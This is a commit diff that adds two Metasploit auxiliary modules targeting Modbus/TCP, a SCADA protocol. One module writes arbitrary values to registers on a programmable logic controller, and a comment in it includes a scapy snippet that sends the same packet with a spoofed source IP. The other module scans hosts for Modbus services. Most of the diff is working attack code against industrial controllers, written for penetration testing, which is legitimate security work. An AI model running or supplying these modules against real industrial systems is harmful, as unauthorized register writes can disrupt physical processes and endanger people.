Added one modbus-scanner and one modbus-client aux-module SCADA
parent
300b96a711
commit
c00222b4c2
|
@ -0,0 +1,65 @@
|
|||
## MODBUS/TCP client (simple).
|
||||
## Modbus is a cleartext protocol used in common SCADA systems, developed
|
||||
## originally as a serial-line (RS232) async protocol, and later transformed
|
||||
## to IP, which is called ModbusTCP. default tcpport is 502.
|
||||
## There are a handful of functions which is possible to do, but this
|
||||
## client has only implemented the function "write value to register" (\x48)
|
||||
##
|
||||
## This client is developed and tested on a SAIA PCD1.M2 system
|
||||
## http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx
|
||||
##
|
||||
##
|
||||
# MODBUS: 10 00 00 00 00 06 01 06 03 ea 00 02
|
||||
# tested on a SAIA PCD1.M2
|
||||
# scapy - even with source-IP
|
||||
# sploit="\x21\x00\x00\x00\x00\x06\x01\x06\x03\xea\x00\x02"
|
||||
# ip=IP(dst="172.16.10.10",src="172.16.10.155",proto=6,flags=2)
|
||||
# tcp=TCP(dport=509)
|
||||
# send(ip/tcp/sploit)
|
||||
##
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Fuzzer
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'ModbusClient',
|
||||
'Description' => %q{
|
||||
This module sends a command (0x06, write to one register) to modbus endpoint.
|
||||
You can change port, ip, register to write and data to write, and unit-id.
|
||||
},
|
||||
'Author' => [ 'EsMnemon <esm[at]mnemonic.no>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'DisclosureDate' => 'Nov 1 2011',
|
||||
'Version' => '$Revision: 0002 $'
|
||||
))
|
||||
register_options([
|
||||
Opt::RPORT(502),
|
||||
OptInt.new('UNIT_ID', [true, "ModBus Unit Identifier ", 1]),
|
||||
OptInt.new('MODVALUE', [true, "ModBus value to write (data) ", 2]),
|
||||
OptInt.new('REGIS', [true, "ModBus Register definition", 1002])
|
||||
], self.class)
|
||||
end
|
||||
def run
|
||||
trans_id="\x21\x00"
|
||||
proto_id="\x00\x00"
|
||||
len="\x00\x06"
|
||||
func_id="\x06"
|
||||
#For debug: MODVALUE=19276 REGIS=18762, UNIT_ID=71
|
||||
#trans_id="\x41\x42"
|
||||
#proto_id="\x43\x44"
|
||||
#len="\x45\x46"
|
||||
#func_id="\x48"
|
||||
sploit=trans_id
|
||||
sploit+=proto_id
|
||||
sploit+=len
|
||||
sploit+=[datastore['UNIT_ID']].pack("C")
|
||||
sploit+=func_id
|
||||
sploit+=[datastore['REGIS']].pack("S").reverse
|
||||
sploit+=[datastore['MODVALUE']].pack("S").reverse
|
||||
connect()
|
||||
sock.put(sploit)
|
||||
data = sock.recv(1024)
|
||||
disconnect()
|
||||
end
|
||||
end
|
|
@ -0,0 +1,49 @@
|
|||
## MODBUS/TCP scanner/detector
|
||||
## Modbus is a cleartext protocol used in common SCADA systems, developed
|
||||
## originally as a serial-line (RS232) async protocol, and later transformed
|
||||
## to IP, which is called ModbusTCP. default tcpport is 502.
|
||||
##
|
||||
## This scanner is developed and tested on a SAIA PCD1.M2 system
|
||||
## http://www.saia-pcd.com/en/products/plc/pcd-overview/Pages/pcd1-m2.aspx
|
||||
##
|
||||
## Theory: Whene sending a modbus request of some sort, the endpoint will
|
||||
## return with at least the same transaction-id, and protocol-id
|
||||
##
|
||||
##
|
||||
require 'msf/core'
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Scanner
|
||||
def initialize
|
||||
super(
|
||||
'Name' => 'Modbus Version Scanner',
|
||||
'Version' => '$Revision: 0002 $',
|
||||
'Description' => 'Detect Modbus service .',
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://en.wikipedia.org/wiki/Modbus:TCP' ],
|
||||
],
|
||||
'Author' => [ 'EsMnemon <esm[at]mnemonic.no>' ],
|
||||
'DisclosureDate' => 'Nov 1 2011',
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(502),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for the network probe', 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
sploit="\x21\x00\x00\x00\x00\x06\x01\x04\x00\x01\x00\x00" #read input register=func:04, register 1
|
||||
connect()
|
||||
sock.put(sploit)
|
||||
data = sock.recv(12)
|
||||
if data[0]+data[1]+data[2]+data[3] == "\x21\x00\x00\x00" #return of the same trans-id+proto-id
|
||||
print_status("Received: correct MODBUS/TCP header from #{ip}")
|
||||
else
|
||||
print_status("Received: incorrect data from #{ip} (not modbus/tcp?)")
|
||||
end
|
||||
disconnect()
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue